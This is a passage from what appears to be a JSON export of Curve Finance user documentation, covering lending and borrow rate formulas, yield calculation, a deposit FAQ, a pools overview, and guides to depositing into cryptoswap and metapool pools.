through 1inch and deposited into the lending market. To see how leverage works please see the dedicated leverage page . Utilization, Lend APY and Borrow APY The Lend APY and Borrow APY are affected by the Utilization of the market. It is the ratio of assets supplied, to assets borrowed. In the image below the Utilization is 80% as 80% of the Supply is borrowed. Higher Utilization means a higher Lending APY and Borrowing APY . Utilization Rate The formula for Utilization is the following: \\[\\text{Utilization} = \\frac{\\text{Total assets borrowed}}{\\text{Total assets supplied}}\\] Borrow Rate The borrow APR is the rate a borrower pays for borrowing out assets . In the Curve UI this is quoted as an APY not an APR , see the info box below for the conversion formula and difference. Borrowing rates are calculated differently based on whether the collateral asset has a crvUSD minting market. Borrow Rate for assets with a crvUSD Minting Market Assets with minting markets currently are: ETH (=WETH in lending markets), WBTC, wstETH, sfrxETH, tBTC. For these assets, the borrowing rates on Curve Lend depend on two factors: the borrow rate for minting crvUSD and the utilization of the lending pool. The technical documentation shows the borrowing rate formula here . To decide whether to mint crvUSD or borrow from the lending market, consider the following: Lending market utilization below 85% -> Borrowing rate will be lower on the Lending Market Lending market utilization above 85% -> Borrowing rate will be lower on the crvUSD Minting Market Lending market utilization equals 85% -> Borrowing rates will be equal Borrow Rate for all other Assets The formula for the borrow rate if the collateral asset does not have a minting market (e.g., CRV, pufETH, sUSDe, etc) is as follows: \\[\\text{rate} = \\text{rate}_{\\text{min}} \\cdot \\left(\\frac{\\text{rate}_{\\text{max}}}{\\text{rate}_{\\text{min}}}\\right)^{\\text{utilization}}\\] \\[\\text{borrowAPR} = \\text{rate} \\cdot (365 \\cdot 86400)\\] \\(\\text{rate}_{\\text{min}}\\) and \\(\\text{rate}_{\\text{max}}\\) values are obtained from the monetary policy contract of each Lending Market and are given in interest per second. We multiply the rate by \\(365 \\cdot 86400\\) to get the APR because this is the amount of seconds in a year ( \\(365\\) days \\(\\times 86400\\) seconds in a day). Lend Rate Lend APR is the yield a lender receives in exchange for lending out their assets . The lend APR is calculated the same way for all lending markets. Formula to calculate the Lend APR: \\[\\text{lendAPR} = \\text{borrowAPR} \\cdot \\text{utilization}\\] Difference between APR and APY APR represents the Annual Percentage Rate ( interest without compounding ) APY is the Annual Percentage Yield ( interest with compounding ) To convert the APR into APY, we need to annualize it and compound it every second (86400 seconds in a day): \\[\\text{APY} = \\left(1 + \\frac{APR}{86400 \\cdot 365}\\right)^{86400 \\cdot 365} - 1\\] For the current CRV Lending Market the Borrow APR and Lend APR for different Utilization rates is the following: More Information For information relating to opening loans see the loan creation page For information relating to how to supply assets see supplying assets page For Frequently Asked Questions about Curve Lending see the FAQ here For more technical information especially relating to the underlying smart contracts please see the Lending section within the Curve Docs Back to top", "labels": ["Documentation"]}, {"title": "Calculating yield", "html_url": "https://resources.curve.fi/lp/calculating-yield/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Calculating yield Table of contents Types of Yield Base vAPY CRV Rewards tAPR Incentives tAPR Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Types of Yield Base vAPY CRV Rewards tAPR Incentives tAPR Home Pools Calculating yield Explanation of how the Curve UI displays yield calculations Warning This page is outdated and will be updated soon. Much of this information has changed. If you need up to date information please check the new Technical Documentation or ask in the Curve Telegram . There are some links here to the old Technical Documentation , documentation there is also outdated. Like all documentation within this guide, this article is intended to be detailed but non-technical, outside of a few light mathematical formulas. While we highlight specific smart contract function names that the Curve UI may reference for convenience, no knowledge of coding is otherwise necessary to understand this article. Types of Yield Curve UI displaying different types of displayed Curve yield (tAPY and tAPR). In the above screenshot you can see a Curve pool has the potential to offer many different types of yield. The documentation provides an overview of the different types of yield here: Understanding CRV Its important to remember that these numbers are a projections of historical pool performance. The user would get this rate if the pool performance stays exactly the same for one year. These yield types are: Base vAPY: Shown on the first line, this number represents the fees that accrue to holders of the LP token based on trading volume. More Info $CRV Rewards tAPR: Shown on the second line, the rewards tAPR represents the rate of $CRV token emissions one would have earned if the pool has a rewards gauge and the user stakes into this rewards gauge. The number is listed as a range of possible rewards, based on the users locked veCRV the size of this boost can vary. More Info Incentives Rewards tAPR: Some pools also choose to stream rewards in the form of a different token this is represented on the third line if applicable. vAPY stands for variable annual percentage yield , this value calculates an annualized estimate of the trading fee yield based on the past days trading activity, inclusive of any effect of compounding. The rewards tAPR stands for token annual percentage rate token rewards must be claimed manually and therefore do not automatically compound, so rate is the more proper term. Base vAPY When Curve pools are launched, they receive a value for both the fee (the overall fee applied to trades) and the admin_fee (the percentage of this fee that goes to the Curve DAO as opposed to pool LPs). These parameters are directly viewable on the smart contract through the corresponding function names. These fees are displayed on the Curve UI pool page: These parameters may also be updated in the future by the Curve DAO by calling the commit_new_fee method. If the fees are in the process of being changed, these are readable in the smart contract via the future_fee and future_admin_fee methods. The fees are specifically earned or charged every time a user interacts with a pool contract through a transaction which may affect the pool balances. For example, directly calling the exchange function would rebalance the pool, so a fee clearly applies. If you add or remove liquidity in an imbalanced fashion, this would also adjust the ratios of tokens within the pool and thus be subject to fees. No fees are charged if a user adds coin in a balanced proportion or on removal. When you call methods to preview how many tokens you might receive for interacting with a pool (ie get_dy or calc_token_amount ) the values they return are usually but not always inclusive of any fees the UI calculations are intended to make any corrections where appropriate, but be sure to ask the support team if you have questions. Theoretically, one could calculate the base vAPY for any period by calculating the fees for every transaction and summing over the entire range. However, the Curve UI utilizes a simpler methodology to calculate the base vAPY, where t is the time in days: \\[\\left( \\frac{\\text{virtual_price}(t=0)}{\\text{virtual_price}(t=-1)} \\right)^{365} - 1\\] In other words, the vAPY measures the change in the pools \"virtual price\" between today and yesterday, then annualizes this rate. The \"virtual price\" is a measure of the pool growth over time, and is viewable directly on the UI. The UI receives this value directly by calling the get_virtual_price method on the pool contract. Every time a transaction occurs that charges a fee, the virtual price is incremented accordingly. Thus, when a pool launches with a virtual price of exactly 1, if the pools virtual price is 1.01 at some future time, an LP holding a token has seen the tokens value increase by 1%. \\[\\frac{1.01}{1.00} - 1 = 0.01 = 1\\%\\] A virtual price of 1.01 means an LP will get 1% more value back on removing liquidity. Similarly, new users adding liquidity will receive 1% fewer LP tokens on deposit. For pegged stablecoin pools, virtual price can easily be utilized to calculate vAPY of the pool since inception with no further calculations necessary. For v2 pools, one must also consider the fluctuating prices of underlying assets. For developers, here are more details about trade fees from the technical documentation: About Trade Fees Claiming Admin Fees Fee Distribution CRV Rewards tAPR The Curve DAO also authorizes some pools to receive bonus rewards from $CRV token emission, as described in the Understanding Gauges section of the documentation. If the pool has an eligible gauge, then the UI displays the range of possible tAPR values users are earning at present, subject to change in the future. The formula used here to calculate rewards tAPR: \\[tAPR = \\frac{\\text{crv_price} \\times \\text{inflation_rate} \\times \\text{relative_weight} \\times 12614400}{\\text{working_supply} \\times \\text{asset_price} \\times \\text{virtual_price}}\\] These parameters are obtained from various data sources, mostly on-chain: crv_price: The current price of the $CRV token in USD. This could be extrapolated from on-chain data, but the UI relies on the CoinGecko API to fetch this value. inflation_rate: The inflation rate of the $CRV token, accessed from the rate function of the $CRV token. relative_weight: Based on weekly voting, each Curve pool rewards gauge has a weighting relative to all other Curve gauges. This value can be calculated by calling the same function on the Curve gauge controller contract . https://dao.curve.fi/ working_supply: Accessed by calling the same function on the specific Curve gauge contract for the pool. asset_price: The price of the asset that is, if the pool contains only bitcoin, you would use the current price of $BTC. For v2 pools, this must be calculated by averaging over the specific assets within the pool. virtual_price: The measure of the pool growth over time, as described above. The magic number 12614400 is number of seconds in a year (60 * 60 * 24 * 365 = 31536000) times 0.4. In this case the 0.4 is due to the effect of boosts (minimum boost of 1 / maximum boost of 2.5 = 0.4). As shown in the UI, all tAPR values are displayed as a range, with the base rate on the left of the arrow representing the default rate one would receive if the user has no boost, and the value on the right of the arrow representing the maximum value a user could receive if the user has the maximum boost, which is 2.5 times higher than the minimum boost. Further details about calculating boosts are provided here . For developers, here are relevant links to the technical documentation: About Liquidity Gauges Gauge Controller Gauges for EVM Sidechains Gauge Proxy Incentives tAPR All pools may permissionlessly stream other token rewards without approval from the Curve DAO. The UI displays these bonus rewards only when applicable. In the example of stETH below, note how the pool is streaming $LDO tokens in addition to $CRV rewards. Pool Overview Page stETH Pool Page Further information on these extra incentives is available in the developer documentation. Back to top", "labels": ["Documentation"]}, {"title": "Charts and Pool Activity", "html_url": "https://resources.curve.fi/lp/charts_poolactivity/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Charts and Pool Activity Table of contents Charts Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Charts Pool Activity Home Pools Charts and Pool Activity The Curve UI offers a variety of charts related to token prices , as well as an overview of exchanges and liquidity activities (such as adding or removing liquidity) for each pool.\" Info Chart and Pool Activity information is currently only available for pools on ethereum mainnet. Charts LP tokens are tokens received upon depositing assets into a liquidity pool. These tokens represent the holder's share of the pool and can be redeemed for a portion of the funds, plus any fees accrued over time. Similar to other tokens, their value is contingent on the prices of the underlying assets in the liquidity pool. Navigating to the Chart tab reveals a graphical interface of the LP Token price in relation to, for example, USDT. In the top right corner, options are available to expand/minimize or refresh the chart, as well as to adjust its timeframe. Clicking on LP Token Price (USDT) reveals a drop-down menu with additional charts. Pool Activity Besides a chart for prices, the UI also provides an overview of swaps and liquidity actions for the pool under the Pool Activity tab. On the Swaps tab, the interface shows the tokens swapped and the time of each transaction, indicating how many hours or minutes ago it occurred. Clicking on a specific swap will redirect the user to the transaction on Etherscan. Navigating to the Liquidity tab to display deposits and withdrawals in the pool. Back to top", "labels": ["Documentation"]}, {"title": "Deposit FAQ", "html_url": "https://resources.curve.fi/lp/deposit-faqs/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Deposit FAQ Table of contents What is the deposit wrapped option? What happens when you provide liquidity on Curve? Does the coin I deposit matter? Understanding deposit bonuses But does that mean I can still withdraw in my favorite stable coin? How quickly does interest accrue/compound? What is arbitrage? What are incentivized pools? What makes the incentives APR move? Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents What is the deposit wrapped option? What happens when you provide liquidity on Curve? Does the coin I deposit matter? Understanding deposit bonuses But does that mean I can still withdraw in my favorite stable coin? How quickly does interest accrue/compound? What is arbitrage? What are incentivized pools? What makes the incentives APR move? Home Pools Deposit FAQ What is the deposit wrapped option? (This applies to metapools or pools with c-tokens or a-tokens). If you deposit a stablecoin to one of the pools with lending, Curve will automatically wrap your token to a cToken (for Compound) or aToken (for AAVE). The option is simply there if you have already previously lent them on Compound or AAVE. If your stablecoin is in its original form, you can ignore this option. If you deposit into metapools and you have the corresponding basepool token (for example, 3Crv), you can also use the \"deposit wrapped\" option to deposit this token. What happens when you provide liquidity on Curve? When you go to the deposit page and deposit one stablecoin, it then gets split between each token in the pool. Thats something you have to keep in mind because if you were to deposit 1000 DAI in the Pool, as per the screenshot below, your balance would be roughly equal to 390.7 GUSD, 120 DAI, 119.8 USDC and 362.6 USDT. Those values change constantly as people trade and arb the price of stable coins. Does the coin I deposit matter? Besides the deposit bonus explained below, it doesnt matter. Your tokens will get split into the pool and it doesnt affect your returns so you can deposit one, some or all the coins into the pool without worrying about it affecting your returns. Understanding deposit bonuses On the screenshot above, you can see GUSD is quite low as it should make up 50% of the total pool because it's a metapool paired against 3crv. So if your plan was to join the gusd-pool, you would ideally deposit GUSD into it. As you can see on the screenshot, you would get an instant 0.0082% bonus for depositing GUSD into the pool. The main reason for this is that GUSD is currently slightly more expensive so if you went to a centralized exchange you might sell it for $1.007 instead of $1. The deposit bonus reflects that. The other reason behind this is that the pools are always trying to balance themselves and go back to equal parts (in this case 50% GUSD) so depositing the coin with the lowest share will get you a deposit bonus. But does that mean I can still withdraw in my favorite stable coin? When you withdraw, the same principle as in the question above applies- but reversed. If you withdraw the stable coin with the biggest share, you would get a bonus but you still choose what stable coin you want to withdraw. How quickly does interest accrue/compound? Interests for pools using lending protocols compound every block or 15 seconds or immediately after fees are paid. Its also compounded automatically. What is arbitrage? Arbitrage is the simultaneous buying and selling of, in our case, a token to make a profit. Because cryptocurrency markets can often lack liquidity, there are often opportunities for traders to take advantage of price discrepancies to make a profit which can be helped by protocols like Curve. An example transaction: Etherscan In this transaction, someone used Curve and OasisDex and made around $200. This goes back to what was discussed earlier with liquidity pools. The idea is that is you incentivize traders to take advantage of price discrepancies which we all get rewarded for. What are incentivized pools? Liquidity pools (particularly one without an opportunity cost) are a great way to help stable coins keep their pegs. It makes easy for traders to arb (see question above) when the price slips off the peg which is very important for all the companies and foundations developing stable coins as having a $0.98 stablecoin is never a good look. As a result, some pools on Curve are incentivized. That means that on top of trading fees and lending fees, the companies will give rewards to people providing liquidity to the pools with their coins. What makes the incentives APR move? The steth pool in this screenshot earns another 2.69% of LDO per year and there are three variables that can make this change: The LDO distributed is based on the number of people staking their LP tokens, which means your share of rewards gets lower if more people start staking The price of LDO (price of LDO going up would make the yearly bonus go up) The size of weekly rewards (48,000 SNX as of today) could also be lowered as Lido reevaluates its partnership with Curve Back to top", "labels": ["Documentation"]}, {"title": "Pools Overview", "html_url": "https://resources.curve.fi/lp/overview/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Overview Table of contents Stableswap ( Curve V1 ) Cryptoswap ( Curve V2 ) Pool Fees Rewards & Yield Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Stableswap ( Curve V1 ) Cryptoswap ( Curve V2 ) Pool Fees Rewards & Yield Home Pools Pools Overview If you are new to Ethereum or DeFi, liquidity pools are a seemingly complicated concept to understand. Pools hold multiple assets, allowing users to swap between them. Liquidity providers who deposit assets earn fees from these swaps. In Curve, pools can be 2 different types, these are: Stableswap Pools for coins that are pegged to each other, for example USDC and USDT, or stETH and ETH. Cryptoswap Pools which are for assets which fluctuate in value against each other, for example USDT and ETH, or CRV and ETH. Its important to understand that when you provide liquidity to a pool, no matter what coin you deposit, you essentially gain exposure to all the coins in the pool which means you want to find a pool with coins you are comfortable holding. Liquidity Pool Risks Before using liquidity pools, it's advisable to review our risk disclaimer page for a comprehensive overview of potential risks. Stableswap ( Curve V1 ) Stableswap pools have assets pegged to each other. For example USDC and USDT, as their value should always be close to a 1:1 ratio . Let's look at an example about how it works for a liquidity provider: Note: Alice can deposit/withdraw any combination of assets/amounts, but pays a small fee for unbalanced actions (e.g., USDC-only deposit). Cryptoswap ( Curve V2 ) Cryptoswap pools contain unpaired assets like USDC and ETH, whose relative values fluctuate. This necessitates a different pool design than Stableswap. Cryptoswap pools maintain an equal value balance between their assets. For example, $1,000,000 in USDC would be matched by $1,000,000 worth of ETH. Let's look at an example about how it works for a liquidity provider: Note: Bob can deposit/withdraw any combination of assets/amounts, but pays a small fee for unbalanced actions (e.g., ETH-only deposit). Pool Fees Pool fees are specific to each pool, they typically range from 0.01%-0.04%. They are shown under the pool details tab on the pool's page. All new pools also have dynamic fees, so in times of high volatility, fees earned by the pools increase. 50% of the pool fees go to the Liquidity Providers increasing the value of LP tokens, and 50% to DAO (veCRV holders) . Balanced deposits and withdrawals are free . Unbalanced actions incur a small fee (max 50% of swap fee). This prevents free swaps via deposit/withdraw cycles. Note: \"Balanced\" means equal asset values in Cryptoswap pools, but matches current ratios in Stableswap pools . Rewards & Yield Liquidity providers are rewarded with 2 different types of yield: Base vAPY : This is how much the LP token value is increasing due to accruing pool fees. Rewards tAPR : These are CRV inflation rewards, other token incentives, and points. Staking LP tokens is required to earn CRV and other token rewards, which accrue through the pool's gauge. Points programs are project-specific; many don't require LP token staking. Refer to each project's point program for the most accurate information. Some pools include yield-bearing tokens like sUSDe and sDAI. All yield from these tokens goes directly to Liquidity Providers, none is taken away by fees or the pool. Back to top", "labels": ["Documentation"]}, {"title": "Depositing into a cryptoswap-pool", "html_url": "https://resources.curve.fi/lp/depositing/depositing-into-a-cryptoswap-pool/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a cryptoswap-pool Table of contents Depositing into the pool Confirming and staking Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Depositing into the pool Confirming and staking Home Pools Depositing Depositing into a cryptoswap-pool Cryptoswap pools contain two volatile assets and are designed to offer deep liquidity for a wide variety of assets with different levels of volatility. Learn more about v2 pools For instance, the CVX/ETH pool is used in the examples below. Depositing into the pool Visit the deposit page ( https://curve.fi/#/ethereum/pools/cvxeth/deposit ). You will need at least one of the two tokens in the pool to deposit. CVX/ETH-pool consists of CVX and ETH. First, it's important to understand that you don't have to deposit both coins, you can deposit one or both of the coins in the pool and it won't affect your returns. Depositing the coin with the smallest share in the pool will result in a small positive price impact. Since crypto pools have a rebalancing mechanism, the balances of the pool should be relatively equal. Second, once you deposit one coin, it gets split over the two different coins in the pool which means you now have exposure to all of them . The first checkbox (Add all coins in a balanced proportion) allows you to deposit both coins in the same proportion they currently are in the pool, resulting in no price impact. The second checkbox (Deposit Wrapped) allows users to deposit wrapped ETH (wETH) instead of plain ETH. Confirming and staking You will then be asked to approve the Curve Finance contract, follow by a deposit transaction which will deposit your into the pool. This transaction can be expensive so you ideally want to wait for gas to be fairly cheap if this will impact the size of your deposit. After depositing in the pool, you receive liquidity provider (LP) tokens. They represent your share of ownership in the pool and you will need them to stake for CRV. After depositing, you will be prompted with a new transaction that will deposit your LP tokens in the DAO liquidity gauge. Confirming the transaction will let you mine CRV. This second transaction will only pop up if you deposited your tokens under the \"Deposit and stake\" tab. Otherwise it will just deposit the tokens in the pool. If you already have LP tokens, you can also directly stake them into the gauge under the 'Stake' tab. Once that's done, you're providing liquidity and staking so all that's left to do is wait for your trading fees to accrue. You can click the link below to learn how to boost your CRV rewards by locking CRV on the Curve DAO: Boosting your CRV Rewards Staking your $CRV Back to top", "labels": ["Documentation"]}, {"title": "Depositing into a metapool", "html_url": "https://resources.curve.fi/lp/depositing/depositing-into-a-metapool/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a metapool Table of contents Depositing Confirming and staking Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Depositing Confirming and staking Home Pools Depositing Depositing into a metapool Metapools is a old concept to Curve Finance, it allows a single coin to be pooled with all the coins in another (base) pool without diluting its liquidity. Currently, the most common base pool is the 3Pool. It uses the three most liquid stable coins (USDT-USDC-DAI). Depositing Metapools offer several options for deposits. For example, in the GUSD/3Pool Metapool you can deposit the following: GUSD Any of the 3Pool (DAI-USDC-USDT) 3Pool LP token (3crv) When becoming a liquidity provider, you don't have to deposit all the coins, you can deposit one or several of the coins in the pool and it won't affect your returns. Depositing the coin with the smallest share in the pool will result in a small deposit bonus. Second, once you deposit one stable coin, it gets split over the four different coins in the pool which means you now have exposure to all of them . The first checkbox (Add all coins in a balanced proportion) allows you to deposit all four coins in the same proportion they currently are in the pool, resulting in no slippage occurrence. The deposit wrapped option lets you deposit the base pool token (usually 3Pool). When depositing coins into a metapool, and thus having exposure to a base pool token (e.g., 3CRV) and its paired token, you will earn at the rate of the metapool gauge. However, you'll receive trading fees from both the base and metapool. Confirming and staking You will then be asked to approve the Curve Finance contract, follow by a deposit transaction which will wrap your stable coins and deposit them into the pool. This transaction can be expensive so you ideally want to wait for gas to be fairly cheap if this will impact the size of your deposit. After depositing in the pool, you receive liquidity provider (LP) tokens. They represent your share of ownership in the pool and you will need them to stake for CRV. After depositing, you will be prompted with a new transaction that will deposit your LP tokens in the DAO liquidity gauge. Confirming the transaction will let you mine CRV. This second transaction will only pop up if you deposited your tokens under the \"Deposit and stake\" tab. Otherwise it will just deposit the tokens in the pool. If you already have LP tokens, you can also directly stake them into the gauge under the 'Stake' tab. Once that's done, you're providing liquidity and staking so all that's left to do is wait for your trading fees to accrue. You can click the link below to learn how to boost your CRV rewards by locking CRV on the Curve DAO: Boosting your CRV Rewards Staking your $CRV Back to top", "labels": ["Documentation"]}, {"title": "Depositing into a tricrypto-pool", "html_url": "https://resources.curve.fi/lp/depositing/depositing-into-a-tricrypto-pool/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Depositing into a tricrypto-pool Table of contents Depositing into the pool Confirming and staking Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a 